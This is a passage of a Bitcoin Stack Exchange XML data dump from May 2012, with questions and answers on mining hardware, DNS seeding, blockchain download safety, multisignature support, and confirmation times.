  <row Id="3538" PostTypeId="2" ParentId="3533" CreationDate="2012-05-01T11:34:02.340" Score="6" Body="&lt;p&gt;Version 0.6.0 introduced more strict validity checks on the keys when loading a wallet, to prevent silent further corruption. It seems like you have a wallet where one or more keys are corrupted (the private and public one don't match, for example). You can try moving the funds away using an older version, but there is a chance that will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to add a sort of &quot;recovery mode&quot; in 0.7.0 for situations like this.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-05-01T11:34:02.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3539" PostTypeId="1" AcceptedAnswerId="3540" CreationDate="2012-05-01T15:16:37.963" Score="8" ViewCount="4487" Body="&lt;p&gt;I'm not entirely sure how FPGA's work... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I simply buy a &lt;a href=&quot;http://www.ztex.de/usb-fpga-1/usb-fpga-1.15y.e.html&quot; rel=&quot;nofollow&quot;&gt;ZTEX&lt;/a&gt; and it mines, or do I need to plug it into a computer via USB? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I chain them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm so confused.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="2306" LastEditDate="2016-03-09T23:09:15.127" LastActivityDate="2016-03-09T23:09:15.127" Title="How do I mine with FPGAs?" Tags="|mining-hardware|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostTypeId="2" ParentId="3539" CreationDate="2012-05-01T15:52:37.070" Score="11" Body="&lt;p&gt;The very basic idea of an FPGA is that it can be loaded with a specific firmware (a layout of logical gates, in essence). That page contains the firmware you'd need to load onto a Xilinx FPGA (A Spartan 6) in order to use it as a mining device. ZTEX refers to a suite of the FPGA, and various IO controllers (USB, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughly speaking, the steps you'd need to follow would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Buy device&lt;/li&gt;&#xA;&lt;li&gt;Plug in device to your computer&lt;/li&gt;&#xA;&lt;li&gt;Load firmware onto device from your computer&lt;/li&gt;&#xA;&lt;li&gt;Run a piece of software on your computer that interfaces with the firmware now loaded on the FPGA&lt;/li&gt;&#xA;&lt;li&gt;Profit (in a couple years)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To answer your questions: yes, the device would need to be plugged in to a computer using the method in your link, and yes, you can &quot;chain&quot; them - i.e. have more than one plugged in. I've greatly oversimplified steps 3 &amp;amp; 4, by the way.&lt;/p&gt;&#xA;" OwnerUserId="682" LastEditorUserId="1547" LastEditDate="2012-07-05T13:35:23.370" LastActivityDate="2012-07-05T13:35:23.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostTypeId="1" AcceptedAnswerId="3554" CreationDate="2012-05-01T17:14:47.067" Score="7" ViewCount="1285" Body="&lt;p&gt;With the version 0.6, Bitcoin introduced the DNS servers that populate the initial peers for new clients. How secure are those servers in terms of being immune to takedown attacks, or injection of malicious data?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2015-03-20T04:36:25.643" LastActivityDate="2015-03-20T04:36:25.643" Title="How secure are the DNS servers for Bitcoin?" Tags="|bitcoin-core|security|dns|peer-discovery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostTypeId="1" AcceptedAnswerId="3543" CreationDate="2012-05-01T17:16:47.327" Score="0" ViewCount="206" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3541/how-secure-are-the-dns-servers-for-bitcoin&quot;&gt;How secure are the DNS servers for Bitcoin?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In earlier version of Bitcoin the IRC channel was used to seed initial peers, and as of version 0.6 it was largely replaced by the DNS servers. Does this approach make Bitcoin more secure, and if so, in what way?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-09-12T00:54:07.953" Title="Do the DNS servers make Bitcoin more secure than the IRC channel?" Tags="|security|dns|irc|" AnswerCount="1" CommentCount="2" ClosedDate="2012-05-02T05:22:28.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostTypeId="2" ParentId="3542" CreationDate="2012-05-01T17:48:51.547" Score="1" Body="&lt;p&gt;The DNS system is vastly more scalable than an IRC channel. It has its downsides, in particular it is only unidirectional. However, given enough seeds it is much harder to knock out than a centralized IRC server.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-05-01T17:48:51.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3544" PostTypeId="1" AcceptedAnswerId="3545" CreationDate="2012-05-01T18:02:22.233" Score="3" ViewCount="1065" Body="&lt;p&gt;Has anyone tried and perhaps succeeded at linking a transaction to a possibly controversial site (such as Wikileaks) to a Bitcoin forum user by their forum signatures? I know a lot of people disclose their Addresses, and since the WikiLeaks address is well known, one would probably just need some webcrawler and be able to make a connection. Has anything like this ever been done?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2022-12-22T03:08:48.453" Title="Linking a transaction to a Bitcoin user" Tags="|transactions|address|privacy|signature|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3545" PostTypeId="2" ParentId="3544" CreationDate="2012-05-01T20:30:40.070" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.ca/2011/07/bitcoin-is-not-anonymous.html&quot;&gt;This&lt;/a&gt; article was written regarding the alleged theft of 25,000 BTC in July 2011. A similar analysis could be done using known addresses and identities, I would imagine.&lt;/p&gt;&#xA;" OwnerUserId="682" LastActivityDate="2012-05-01T20:30:40.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="1" AcceptedAnswerId="3548" CreationDate="2012-05-02T13:33:01.023" Score="8" ViewCount="622" Body="&lt;p&gt;I mean no disrespect to &lt;a href=&quot;https://bitcoin.stackexchange.com/users/53/gavinandresen&quot;&gt;Gavin Andresen&lt;/a&gt; whatsoever. I think someone needs to be at the head of the project and Satoshi has stepped down / disappeared / gone back to the NSA / returned to his home planet / choose your conspiracy theory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why Gavin? What's the succession plan? What if Gavin gets tired of the project and chooses not to work on it any more? There certainly are core contributors, but exactly how is the &quot;organization&quot; set up? I know there's no actual &quot;organization&quot;, but what I mean is the people in charge of the direction of the Bitcoin project.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2023-10-26T00:35:14.873" Title="Who made Gavin project leader?" Tags="|bitcoin-core|open-source|project|gavin-andresen|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="1" CreationDate="2012-05-02T14:11:28.197" Score="7" ViewCount="234" Body="&lt;p&gt;Since Bitcoin's inception there have been several attacks on mining pools. There was &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3629/what-is-the-story-behind-the-linode-problem&quot;&gt;the Linode problem&lt;/a&gt;, where some 46,000 BTC were stolen from pool accounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some other notable attacks on mining pools?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-09-12T00:54:33.220" Title="What are the most notable attacks on pools?" Tags="|mining-pools|history|theft|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3548" PostTypeId="2" ParentId="3546" CreationDate="2012-05-02T18:12:52.407" Score="10" Body="&lt;p&gt;Satoshi essentially named Gavin project lead by putting his contact info on bitcoin.org, giving him a copy of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Alerts&quot; rel=&quot;nofollow noreferrer&quot;&gt;alert key&lt;/a&gt;, giving him control of the SourceForge project, etc. Not many people have a problem with this, since Gavin has done a great job. I don't think anyone else in the Bitcoin community could have done better.&lt;/p&gt;&#xA;&lt;p&gt;Gavin doesn't have exclusive control over many assets, so development can continue without too much trouble if he disappears without &amp;quot;naming a successor&amp;quot;. Releases can even now be created and published on bitcoin.org without Gavin. bitcoin.org and the Bitcoin Forum are owned by Sirius, not Gavin. I have a copy of the alert key.&lt;/p&gt;&#xA;&lt;p&gt;If Gavin disappears, I'd expect the project to continue reasonably well without a clear leader for a while before someone steps up to Gavin's responsibilities and is recognized by the community.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="5406" LastEditDate="2023-10-26T00:35:14.873" LastActivityDate="2023-10-26T00:35:14.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3551" PostTypeId="1" AcceptedAnswerId="3553" CreationDate="2012-05-02T21:36:20.417" Score="7" ViewCount="9450" Body="&lt;p&gt;I see several sources for binary downloads of the Bitcoin blockchain.  Can any of these be used securely?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="105" LastEditDate="2013-02-10T20:57:20.580" LastActivityDate="2014-02-21T23:01:49.787" Title="How can one download the initial Blockchain data files securely?" Tags="|blockchain|security|trust|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostTypeId="2" ParentId="3551" CreationDate="2012-05-02T21:40:41.787" Score="5" Body="&lt;p&gt;[Update: With the Bitcoin client v0.7, -loadblock= will allow the client to import blockchain data, securely, from a local blockchain archive rather than from the network.  The &lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot;&gt;blockchain download from BitcoinCharts.com&lt;/a&gt; can be used for this.  Copy the blk*.dat from that download to a temporary directory and start Bitcoin-qt -loadblock=temp/blk0001.dat   and watch the blocks load fast.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to try to answer the question myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent copies of the blockchain data files are made available (and digitally signed) by one of the core developers of the Bitcoin.org team.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot;&gt;http://eu1.bitcoincharts.com/blockchain/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The URL isn't SSL but there is a digital signature that can be used to verify that the binary downloaded matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using these I am trusting that the developer is honest and has not altered the blockchain.  If this developer were to try, invalid data could be injected into the blockchain data file which would then trick my client into verifying transactions that would elsewhere be reject as being invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even a slightly older archive of the Blockchain from the Bitcoin Sourceforge distribution site as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I now see others providing binary blockchain data as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=78925.0&quot;&gt;http://bitcointalk.org/index.php?topic=78925.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pro2host.com/cryptocoin/blockchains&quot;&gt;http://pro2host.com/cryptocoin/blockchains&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This site doesnt' use SSL nor is it there a digital signature to ensure the download is the same as the one the author hosts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While these methods aren't generally considered secure, there may be situations where security can be traded off for the convenience.  For instance, if you only will be spending previously received coins and not receiving, there is little risk in using one of these blockchain files.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-24T20:10:13.813" LastActivityDate="2012-09-24T20:10:13.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostTypeId="2" ParentId="3551" CreationDate="2012-05-02T22:01:22.860" Score="7" Body="&lt;p&gt;So far as I know, there's no conceivable attack model if you're going to use the block chain to seed the regular Bitcoin client. It won't accept an invalid block. And it understands that the &quot;longest&quot; block chain wins. So a compromised file that was longer than the official block chain cannot exist, and a compromised file that was shorter would just be rejected as soon as the client connected to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On startup, the client checks to make sure the chain is basically valid and contains the most recent checkpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is any attack that works in this way, it's a defect in the client. Because someone could send you the same &quot;broken&quot; blockchain over the network too.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-05-02T22:01:22.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3554" PostTypeId="2" ParentId="3541" CreationDate="2012-05-02T23:36:06.257" Score="9" Body="&lt;p&gt;There are some differences between DNS seeding and the IRC method. IRC used to function as a meeting point; essentially a centralized broadcast system to let (all) other nodes know about your existance, but it failed to answer the query &quot;who is online now?&quot;. This means that when using IRC as a publically reachable node, you would often see a peak of incoming connections quickly, but little activity afterwards. Obviously, it was also vulnerable to DOS attacks as a centralized point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DNS seeds are much more intended to work as seeds: they provide nodes with a few reliable entry points into the network, but let the actual discovery of new nodes be done by the network itself (peers exchange other peer's IP addresses). Futhermore, the DNS system is capable of server much larger numbers of nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your actual question: the DNS servers themselves may be be vulnerable to attacks, but it is important to realize that they are far less essential to the network than IRC was. Also, the 4 active DNS seeds are operated by different people, and managed quite differently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jeff's node (&lt;code&gt;bitseed.xf2.org&lt;/code&gt;), is currently a static list, updated mostly manually and infrequently, but hosted very reliably.&lt;/li&gt;&#xA;&lt;li&gt;Matt's node (&lt;code&gt;dnsseed.bluematt.me&lt;/code&gt;), is served by a BIND server (typical DNS server software), which is fed a fresh list of reliable nodes by a crawler every few minutes or seconds.&lt;/li&gt;&#xA;&lt;li&gt;Luke's (&lt;code&gt;dnsseed.bitcoin.dashjr.org&lt;/code&gt;) and my node (&lt;code&gt;seed.bitcoin.sipa.be&lt;/code&gt;) run a custom DNS server+crawler system, which reports a random set of reliable nodes for each query.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One further remark on your question: the DNS seeding system was introduced in v0.3.21 (april 2011), and turned on by default in v0.3.24 (juli 2011). Since 0.6.0 (march 2012), IRC seeding is off by default. As of 0.8.2 (not yet released), IRC support will be removed entirely.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-04-28T17:41:25.643" LastActivityDate="2013-04-28T17:41:25.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="1" AcceptedAnswerId="3559" CreationDate="2012-05-02T23:53:07.460" Score="7" ViewCount="27988" Body="&lt;p&gt;I'm looking for specific part numbers for CPU, GPUs, motherboards, cases, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume power doesn't matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what sort of hash rate does it get? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-03-08T20:51:08.827" LastActivityDate="2016-03-08T20:51:08.827" Title="What is the most cost effective GPU mining rig?" Tags="|gpu|mining-hardware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostTypeId="1" CreationDate="2012-05-03T23:09:46.700" Score="3" ViewCount="239" Body="&lt;p&gt;Is there a website where I can view the size of the memory pool over time, or the average number of transactions per block?&lt;/p&gt;&#xA;" OwnerUserId="1221" LastEditorUserId="516" LastEditDate="2012-06-11T03:43:21.743" LastActivityDate="2012-06-11T03:43:21.743" Title="Where can I find a graph of average transactions per block over time?" Tags="|transactions|block|charts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3557" PostTypeId="1" AcceptedAnswerId="3560" CreationDate="2012-05-03T23:58:16.840" Score="13" ViewCount="5294" Body="&lt;p&gt;With the release of bitcoin version 0.6.1rc2, it is now possible to do M-of-N required signature transactions in the main network. But how does one actually perform such a transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to piece together how to do this mostly from the BIP 11 and API calls list pages on &lt;a href=&quot;https://en.bitcoin.it/wiki/&quot;&gt;https://en.bitcoin.it/wiki/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you can use 'addmultisigaddress' call to bitcoind to add a multisignature address to your wallet and then send coins to that address. This is the part you set up, say, an escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't find the bitcoind call to create a transaction for multiple signing or the call to sign such transaction.  In other words, how do you send coins from a multisignature address? How do you release the tied-up coins?&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="214" LastEditDate="2013-06-10T10:52:27.203" LastActivityDate="2013-09-17T13:20:28.343" Title="How does one make multisignature transactions with the bitcoin client?" Tags="|transactions|client|escrow|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostTypeId="2" ParentId="2428" CreationDate="2012-05-04T01:06:41.953" Score="6" Body="&lt;p&gt;There is not anything like adsense yet, but there are smaller ad platform. Here are a few:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dailybitcoins.org/&quot; rel=&quot;nofollow&quot;&gt;http://dailybitcoins.org/&lt;/a&gt; they offer both ads by number of impression and per click.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinadvertisers.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinadvertisers.com/&lt;/a&gt; they claim to be the biggest, I do not know how true that is.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://anonymousads.com/&quot; rel=&quot;nofollow&quot;&gt;http://anonymousads.com/&lt;/a&gt; They have a significant presence in the Bitcoin community.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://puppytwist.com/&quot; rel=&quot;nofollow&quot;&gt;http://puppytwist.com/&lt;/a&gt; they are pretty simple to get started with, high payout too&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1270" LastEditorUserId="11670" LastEditDate="2014-01-18T10:01:39.030" LastActivityDate="2014-01-18T10:01:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3559" PostTypeId="2" ParentId="3555" CreationDate="2012-05-04T05:11:19.240" Score="7" Body="&lt;p&gt;Here are some guidelines to choosing hardware for an effective GPU rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU: The cheapest you can find. Low-end AMD CPUs are good for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RAM: The cheapest you can find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ODD: Unnecessary, install the OS from a USB flash drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HDD: Unnecessary, use a USB flash drive, the cheapest you can find which can hold the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU: Basically any ATI series 5XXX+ is suitable. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; has a list of the hashrate to expect from each. You need to choose one based on the price in which you can get it, the hashrate, and the power (which has implications for electricity costs, and the need for proper PSU and cooling). You need to consider the whole system - using multiple cheap cards can increase the cost of the peripherals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PSU: Needs to be a good brand and have sufficient power for all the hardware, with some to spare. A 80+ gold PSU is more expensive but could be a good idea, especially if you pay for power. If you're using many graphics cards you can even use multiple PSUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case: If you're using a standard case, it can be cheap but it should have sufficient room and cooling for the cards. Bottom and side fans can help. But the most effective is to use a custom case or no case at all and just custom mounting for the cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Motherboard: Needs to be compatible with the CPU and RAM, and depends on the number of cards and the case. If you use a standard case you need PCIe x16 slots with enough spacing between them, and a motherboard with more than 2 suitable slots can be expensive. With a custom case you can use every PCIe slot, including x1, with extender cables - even cheap motherboards have about 5. The available bandwidth for the slots doesn't matter. Other than that there are no special requirements.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-04T05:11:19.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="2" ParentId="3557" CreationDate="2012-05-04T13:40:02.473" Score="12" Body="&lt;p&gt;Bitcoin version 0.6.1 doesn't have useful multisignature support yet, either in the GUI or via the RPC interface, because there is no support for partially signing a multisignature transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;strong&gt;is&lt;/strong&gt; supported:  creating a multisignature transaction (using addmultisigaddress), and sending to a multisignature address (either your own or somebody else's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Testing&lt;/em&gt; spending of multisignature transactions-- if &lt;strong&gt;all&lt;/strong&gt; of the private keys required to spend a multisignature transaction are in the wallet, then those coins are added to the wallet's total bitcoin balance and that transaction will be spent if the normal coin-selection code decides to use them for a spending transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1456&quot;&gt;Pull request 1456&lt;/a&gt; adds low-level support in the RPC interface for multi-device/multi-person multisignature transactions.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2012-06-15T17:40:55.533" LastActivityDate="2012-06-15T17:40:55.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="1" CreationDate="2012-05-04T15:18:13.473" Score="7" ViewCount="2017" Body="&lt;p&gt;I am looking for a cheap and efficient way (rather than hacking through the Bitcoin source code) of listing my peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I have come up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;netstat -p tcp -nba | grep  '.8333.*ESTABLISHED' | perl -npe 's/.*\s+((\d+.){3}\d+)\.\d+\s+ESTABLISHED.*/$1/'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script above generates a list of IPs.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2012-12-13T19:01:01.950" Title="Looking for a better way of listing all my peers" Tags="|network|peers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="1" AcceptedAnswerId="3574" CreationDate="2012-05-04T19:15:07.017" Score="8" ViewCount="6135" Body="&lt;p&gt;Right now it takes 6 confirmations, which takes about an hour to verify a transaction. Will the rate at which transactions confirm become faster over time?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="516" LastEditDate="2012-09-19T01:39:53.220" LastActivityDate="2012-09-19T01:39:53.220" Title="Will transaction confirmation time be reduced as the network size increases?" Tags="|transactions|network|confirmations|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="2" ParentId="3551" CreationDate="2012-05-04T19:57:44.257" Score="1" Body="&lt;p&gt;Short answer: If the client checks the blocks it's fine. Clients won't usually do this this and the lack of certainty about database is risky. What attack is possible will depend on client specifics but attacks most likely exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would either have to trust that person and have a data integrity measure or revalidate the downloaded chain yourself. Do remember that the default client treats already downloaded blocks fairly differently from downloaded blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;low-tech&quot; solution could be to run the bitcoin client twice, one with and one without the downloaded chain. Set them up to connect to eachother. Now one of the two will download &amp;amp; verify the chain locally. Not the most efficient way but it is as trustable as downloading from the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: after a discussion with Pieter Wuille I'm sure I'm not sure about how safe downloaded chains are and removed claims towards safety.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2012-05-06T15:13:59.047" LastActivityDate="2012-05-06T15:13:59.047" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostTypeId="2" ParentId="3562" CreationDate="2012-05-04T20:12:26.897" Score="2" Body="&lt;p&gt;No, it probably won't. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1170/why-is-6-the-number-of-confirms-that-is-considered-secure&quot;&gt;6 confirmations, or 1 hour&lt;/a&gt; is considered a standard amount of time required for any Bitcoin-like crypto currency to ensure a transaction will not be reversed. The time to generate a Block will not change without changing the protocol (which is unlikely to happen), so one would still require an hour to generate those 6 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even now you can see 0 confirmations transactions appearing in your client in seconds, and it is only up to you to decide when you consider that money secure. Recently &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3343/what-is-the-longest-blockchain-fork-that-has-been-orphaned-to-date&quot;&gt;4 blocks were replaced&lt;/a&gt; by a miner with a big amount of hash power, meaning transactions in those abandoned blocks were vulnerable to double-spend attacks. However, such cases are rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, even right now some people are working hard on making the confirmation problems less bothersome to the users. Some want to establish some assurance from pools that would promise to include a transaction in their next block, other build bank-like systems that would process internal transactions without the need for blocks (currently you can do that between MtGox's accounts for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, as a user one normally doesn't need faster transaction confirmations as double-spend attacks are not that frequent (not to mention detectable within a couple seconds in most cases) and one rarely needs to provide something to the receiver on the spot. It is mostly an issue for micropayment trasaction providers that need to clear an operation within seconds, not being able to wait even for 1 confirmation.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-05-05T00:49:39.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3565" PostTypeId="2" ParentId="3562" CreationDate="2012-05-04T20:27:14.173" Score="6" Body="&lt;p&gt;Actually the amount of confirmations is seperate from verification. The more confirmations a transaction has the more certain a transaction is. The point where you say it is &quot;verified&quot; is simply the point where you trust it sufficiently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When do you trust it? For a person this it's a feeling in your underbelly. How fishy is a certain deal? How trustworthy is the person transacting? How are his/her technical capabilities? How gullible is that person? For companies the equation is more exact, but can still be chosen. Can we take the loss if this was a trick? What is the chance that a transaction is fake after X confirmations and would it be more profitable to have someone cheat us every so often, if it makes our service faster? The perfect one is &quot;Would an attack have been more expensive than the value of the transactions in the block in which they were created and those after?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notion of six is certain is a fallacy. However after the third confirmation this is a true 51% attack which is fairly hard to do. So six is abundantly secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinwatch.com/&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; now estimates the PetaFLOPS within the network's capabilities to be nearly 150. In January renting 240 Teraflops came at a price of 1280$ an hour. To get 75% of the current network's hashrate for half an hour one would have to spent 150000/240*1280*.5 = 400 000 USD's. So unless you're dealing with fairly huge numbers, 3 confirmations suffice. Edit: because the hash complexity doesn't grow every block it is 3 confirmations or 35 minutes, whichever takes longer. This should dampen the attacker's ability to burst a few blocks within a short period of time. The additional 5 to ensure sync. If you want that 400k limit you require an additional block to ensure the previous 3 were okay.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2012-05-04T20:35:44.740" LastActivityDate="2012-05-04T20:35:44.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3566" PostTypeId="2" ParentId="3562" CreationDate="2012-05-04T20:42:31.547" Score="5" Body="&lt;p&gt;The gambling site &lt;a href=&quot;http://www.satoshidice.com/&quot; rel=&quot;noreferrer&quot;&gt;satoshiDICE&lt;/a&gt; has an interesting take on this.  They accept bets immediately, with zero confirmations, and pay out immediately if you win.  This may seem risky, but there's a trick:&lt;/p&gt;&#xA;&lt;p&gt;Part of your winnings are paid with the amount you sent as your bet.  So if your bet was a double spend, and ends up not making it into the blockchain then neither do your winnings.&lt;/p&gt;&#xA;&lt;p&gt;I thought that was quite a clever take on the whole question of how many confirmations is enough.&lt;/p&gt;&#xA;&lt;p&gt;Oh, and to answer the question, each confirmation takes 10 minutes by design.  If confirmations start coming faster than every 10 minutes then the network adjusts the difficulty of finding a block to slow down the confirmation rate.  Similarly if confirmations are taking longer than 10 minutes then the network reduces the difficulty of finding blocks.&lt;/p&gt;&#xA;&lt;p&gt;It may be in time that people start trusting transactions with 4 or 5 confirmations, or maybe they're get more cautious and start waiting for 10 confirmations.  But that's nothing to do with the Bitcoin network - that's just people and their perception of risk vs. reward.&lt;/p&gt;&#xA;" OwnerUserId="659" 